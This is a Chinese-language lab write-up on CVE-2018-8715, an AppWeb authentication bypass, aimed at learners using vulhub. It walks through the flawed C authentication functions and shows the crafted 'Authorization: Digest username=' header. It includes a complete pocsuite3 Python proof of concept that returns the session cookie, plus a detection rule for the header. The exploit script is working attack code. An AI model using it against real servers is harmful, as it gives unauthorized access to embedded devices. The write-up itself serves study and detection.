AppWeb认证绕过漏洞(CVE-2018-8715)
本文章适合正在利用vulhub进行漏洞复现的朋友,或者准备学习漏洞复现的朋友,大佬就可以绕过了,写的比较基础。我也是一个小白,总结一下对于vulhub的使用技巧和一些漏洞原理,也分享一些自己觉得好用的方法给大家,欢迎大家帮我补充,有什么好用的技巧也可以分享一下,大家共同进步。本篇有自己的理解,如果有什么不对的或者不好的地方希望大家不要喷我,但是欢迎帮我指正。
1.AppWeb简介:
AppWeb是Embedthis Software LLC公司负责开发维护的一个基于GPL开源协议的嵌入式Web Server。他使用C/C++来编写,能够运行在几乎先进所有流行的操作系统上。当然他最主要的应用场景还是为嵌入式设备提供Web Application容器。
AppWeb可以进行认证配置,其认证方式包括以下三种:
- 1.basic 传统HTTP基础认证
- 2.digest 改进版HTTP基础认证,认证成功后将使用Cookie来保存状态,而不用再传递Authorization头
- 3.form 表单认证
2.漏洞描述:
其7.0.3之前的版本中,对于digest和form两种认证方式,如果用户传入的密码为null
(也就是没有传递密码参数),appweb将因为一个逻辑错误导致直接认证成功,并返回session。
3.漏洞原理:
由于身份验证过程中的逻辑缺陷,知道目标用户名,因此可以通过精心设计的HTTP POST请求完全绕过表单和摘要类型身份验证的身份验证。
文件http / httpLib.c - function authCondition()
该函数负责调用负责认证的两个函数:getCredentials和httpLogin。注意httpGetCredentials周围缺少检查,之后分析会用到这个条件
14559 static int authCondition(HttpConn *conn, HttpRoute *route, HttpRouteOp *op) 14560 { 14561 HttpAuth *auth; 14562 cchar *username, *password; 14563 14564 assert(conn); 14565 assert(route); 14566 14567 auth = route->auth; 14568 if (!auth || !auth->type) { 14569 /* Authentication not required */ 14570 return HTTP_ROUTE_OK; 14571 } 14572 if (!httpIsAuthenticated(conn)) { 14573 httpGetCredentials(conn, &username, &password); 14574 if (!httpLogin(conn, username, password)) { 14575 if (!conn->tx->finalized) { 14576 if (auth && auth->type) { 14577 (auth->type->askLogin)(conn); 14578 } else { 14579 httpError(conn, HTTP_CODE_UNAUTHORIZED, "Access Denied, login required"); 14580 } 14581 /* Request has been denied and a response generated. So OK to accept this route. */ 14582 } 14583 return HTTP_ROUTE_OK; 14584 } 14585 } 14586 if (!httpCanUser(conn, NULL)) { 14587 httpTrace(conn, "auth.check", "error", "msg:'Access denied, user is not authorized for access'"); 14588 if (!conn->tx->finalized) { 14589 httpError(conn, HTTP_CODE_FORBIDDEN, "Access denied. User is not authorized for access."); 14590 /* Request has been denied and a response generated. So OK to accept this route. */ 14591 } 14592 } 14593 /* OK to accept route. This does not mean the request was authenticated - an error may have been already generated */ 14594 return HTTP_ROUTE_OK; 14595 }
文件http / httpLib.c - 函数httpGetCredentials()
此函数接收两个指向char数组的指针,这些指针将包含从请求中解析的用户名和密码。由于authCondition中没有检查,因此“parseAuth”函数失败并不重要,这意味着我们可以在WWW-Authenticate标头或post数据中插入我们想要的任何字段进行身份验证:
1641 Get the username and password credentials. If using an in-protocol auth scheme like basic|digest, the 1642 rx->authDetails will contain the credentials and the parseAuth callback will be invoked to parse. 1643 Otherwise, it is expected that "username" and "password" fields are present in the request parameters. 1644 1645 This is called by authCondition which thereafter calls httpLogin 1646 */ 1647 PUBLIC bool httpGetCredentials(HttpConn *conn, cchar **username, cchar **password) 1648 { 1649 HttpAuth *auth; 1650 1651 assert(username); 1652 assert(password); 1653 *username = *password = NULL; 1654 1655 auth = conn->rx->route->auth; 1656 if (!auth || !auth->type) { 1657 return 0; 1658 } 1659 if (auth->type) { 1660 if (conn->authType && !smatch(conn->authType, auth->type->name)) { 1661 if (!(smatch(auth->type->name, "form") && conn->rx->flags & HTTP_POST)) { 1662 /* If a posted form authentication, ignore any basic|digest details in request */ 1663 return 0; 1664 } 1665 } 1666 if (auth->type->parseAuth && (auth->type->parseAuth)(conn, username, password) < 0) { 1667 return 0; 1668 } 1669 } else { 1670 *username = httpGetParam(conn, "username", 0); 1671 *password = httpGetParam(conn, "password", 0); 1672 } 1673 return 1; 1674 }
文件http / httpLib.c –函数httpLogin()
此函数将检查用户名是否不为null,如果已经存在会话,则密码指针可以改为null。
1686 PUBLIC bool httpLogin(HttpConn *conn, cchar *username, cchar *password) 1687 { 1688 HttpRx *rx; 1689 HttpAuth *auth; 1690 HttpSession *session; 1691 HttpVerifyUser verifyUser; 1692 1693 rx = conn->rx; 1694 auth = rx->route->auth; 1695 if (!username || !*username) { 1696 httpTrace(conn, "auth.login.error", "error", "msg:'missing username'"); 1697 return 0; 1698 } 1699 if (!auth->store) { 1700 mprLog("error http auth", 0, "No AuthStore defined"); 1701 return 0; 1702 } 1703 if ((verifyUser = auth->verifyUser) == 0) { 1704 if (!auth->parent || (verifyUser = auth->parent->verifyUser) == 0) { 1705 verifyUser = auth->store->verifyUser; 1706 } 1707 } 1708 if (!verifyUser) { 1709 mprLog("error http auth", 0, "No user verification routine defined on route %s", rx->route->pattern); 1710 return 0; 1711 } 1712 if (auth->username && *auth->username) { 1713 /* If using auto-login, replace the username */ 1714 username = auth->username; 1715 password = 0; 1716 } 1717 if (!(verifyUser)(conn, username, password)) { 1718 return 0; 1719 } 1720 if (!(auth->flags & HTTP_AUTH_NO_SESSION) && !auth->store->noSession) { 1721 if ((session = httpCreateSession(conn)) == 0) { 1722 /* Too many sessions */ 1723 return 0; 1724 } 1725 httpSetSessionVar(conn, HTTP_SESSION_USERNAME, username); 1726 httpSetSessionVar(conn, HTTP_SESSION_IP, conn->ip); 1727 } 1728 rx->authenticated = 1; 1729 rx->authenticateProbed = 1; 1730 conn->username = sclone(username); 1731 conn->encoded = 0; 1732 return 1; 1733 } <em>File http/httpLib.c – function configVerfiyUser()</em> The following function will first check for the presence of a valid user, either because it was already set in the session, or because it was passed, since we are able to pass a null password (line 2031), we can bypass the actual checks and successfully authenticate reaching line 2055. 2014 /* 2015 Verify the user password for the "config" store based on the users defined via configuration directives. 2016 Password may be NULL only if using auto-login. 2017 */ 2018 static bool configVerifyUser(HttpConn *conn, cchar *username, cchar *password) 2019 { 2020 HttpRx *rx; 2021 HttpAuth *auth; 2022 bool success; 2023 char *requiredPassword; 2024 2025 rx = conn->rx; 2026 auth = rx->route->auth; 2027 if (!conn->user && (conn->user = mprLookupKey(auth->userCache, username)) == 0) { 2028 httpTrace(conn, "auth.login.error", "error", "msg: 'Unknown user', username:'%s'", username); 2029 return 0; 2030 } 2031 if (password) { 2032 if (auth->realm == 0 || *auth->realm == '\0') { 2033 mprLog("error http auth", 0, "No AuthRealm defined"); 2034 } 2035 requiredPassword = (rx->passwordDigest) ? rx->passwordDigest : conn->user->password; 2036 if (sncmp(requiredPassword, "BF", 2) == 0 && slen(requiredPassword) > 4 && isdigit(requiredPassword[2]) && 2037 requiredPassword[3] == ':') { 2038 /* Blowifsh */ 2039 success = mprCheckPassword(sfmt("%s:%s:%s", username, auth->realm, password), conn->user->password); 2040 2041 } else { 2042 if (!conn->encoded) { 2043 password = mprGetMD5(sfmt("%s:%s:%s", username, auth->realm, password)); 2044 conn->encoded = 1; 2045 } 2046 success = smatch(password, requiredPassword); 2047 } 2048 if (success) { 2049 httpTrace(conn, "auth.login.authenticated", "context", "msg:'User authenticated', username:'%s'", username); 2050 } else { 2051 httpTrace(conn, "auth.login.error", "error", "msg:'Password failed to authenticate', username:'%s'", username); 2052 } 2053 return success; 2054 } 2055 return 1; 2056 }
为了能够绕过身份验证,我们需要能够传递空密码指针,幸运的是,对于表单和摘要身份验证,用于解析身份验证详细信息的函数(第1666行)将允许我们设置空密码指针,并且即使返回错误,最终也不会被authCondition检查,允许我们完全绕过身份验证,利用这个的唯一条件是知道hashmap中的用户名。
为了克服这个限制,必须考虑到散列映射的大小通常很小,并且散列映射中使用的散列算法(FNV)很弱:尝试次数有限,可能会发现冲突,并且登录不知道有效的用户名(未经测试)。
4.漏洞利用:
构造的get数据包,加入我们构造的usename字段,注意用户名是已经存在的才可以进行构造
Authorization: Digest username="admin"
这里有个小坑,我们获取到session数据后,得需要一个浏览器插件将其写进去。
这个是失败的结果
如果你觉得在linux下的浏览器不太好操作,那么你可以移到windows下操作:
这个是成功后的结果,如果你经常在windows下操作的话那么现在使用burp之类的工具就方便很多了。
5.poc编写:
from collections import OrderedDict
import requests
from pocsuite3.api import Output, POCBase, OptString, register_poc, POC_CATEGORY, OptDict
class DemoPOC(POCBase):
vulID = '003' # ssvid
version = '1.0'
author = ['xssle']
vulDate = '2019-09-20'
createDate = '2019-09-20'
updateDate = '2019-09-20'
references = ['https://www.seebug.org/vuldb/ssvid-97181']
name = 'AppWeb认证绕过漏洞(CVE-2018-8715)'
appPowerLink = 'https://www.embedthis.com/'
appName = 'AppWeb'
appVersion = '< 7.0.3'
vulType = 'Login Bypass'
desc = '''
其7.0.3之前的版本中,对于digest和form两种认证方式,如果用户传入的密码为null
(也就是没有传递密码参数),appweb将因为一个逻辑错误导致直接认证成功,
并返回session。
'''
samples = []
install_requires = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
protocol = POC_CATEGORY.PROTOCOL.HTTP
def _options(self):
o = OrderedDict()
o["username"] = OptString('', description='这个poc需要用户输入登录账号', require=True)
return o
def _verify(self):
result = {}
playload = "Digest username=\"{0}\"".format(self.get_option("username"))
get_headers = {
'Proxy-Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9'
}
vul_url = self.url
if vul_url.endswith('/'):
vul_url = vul_url[:-1]
if "http://" in vul_url:
host = vul_url[7:]
elif "https://" in vul_url:
host = vul_url[8:]
else:
host = vul_url
get_headers['Host'] = host
get_headers['Authorization'] = playload
r = requests.get(url=vul_url, headers=get_headers)
if r.status_code == 200:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = vul_url
result['VerifyInfo']['set-cookie'] = r.headers['set-cookie']
else:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = vul_url
result['VerifyInfo']['set-cookie'] = get_headers
return self.parse_output(result)
def _attack(self):
return self._verify()
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
register_poc(DemoPOC)
6.漏洞检测规则:
请求的数据包中添加如下内容,因为只有在usenmae字段的用户名存在的情况下才会触发漏洞,那么我们在检测的时候只要发现数据包中被添加了如下字段那么就有可能存在攻击
Authorization: Digest username="admin"
添加如下规则
Authorization: Digest username=